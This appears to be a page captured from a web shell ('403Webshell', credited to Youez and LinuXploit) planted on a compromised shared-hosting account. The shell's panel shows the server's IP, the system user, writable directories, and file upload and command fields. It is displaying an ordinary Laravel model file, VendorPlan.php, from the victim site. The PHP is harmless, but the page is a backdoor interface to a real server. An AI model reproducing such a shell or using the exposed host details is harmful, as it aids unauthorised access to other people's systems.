403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.222.67.8
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/Vendor/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/Vendor/Models/VendorPlan.php
<?php
namespace Modules\Vendor\Models;

use App\BaseModel;
use Illuminate\Support\Facades\DB;
use Illuminate\Database\Eloquent\SoftDeletes;
use Modules\Core\Models\SEO;

class VendorPlan extends BaseModel
{
    use SoftDeletes;
    protected $table = 'core_vendor_plans';
    protected $fillable = [
        'name',
        'base_commission',
        'status',
    ];

    public static function getModelName()
    {
        return __("Vendor Plans");
    }

    public static function getAsMenuItem($id)
    {
        return parent::select('id', 'name')->find($id);
    }

    public static function searchForMenu($q = false)
    {
        $query = static::select('id', 'name');
        if (strlen($q)) {

            $query->where('name', 'like', "%" . $q . "%");
        }
        $a = $query->orderBy('id', 'desc')->limit(10)->get();
        return $a;
    }
    public function meta(){
        return $this->hasMany(VendorPlanMeta::class);
    }

    public function getEditUrlAttribute()
    {
        return null;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit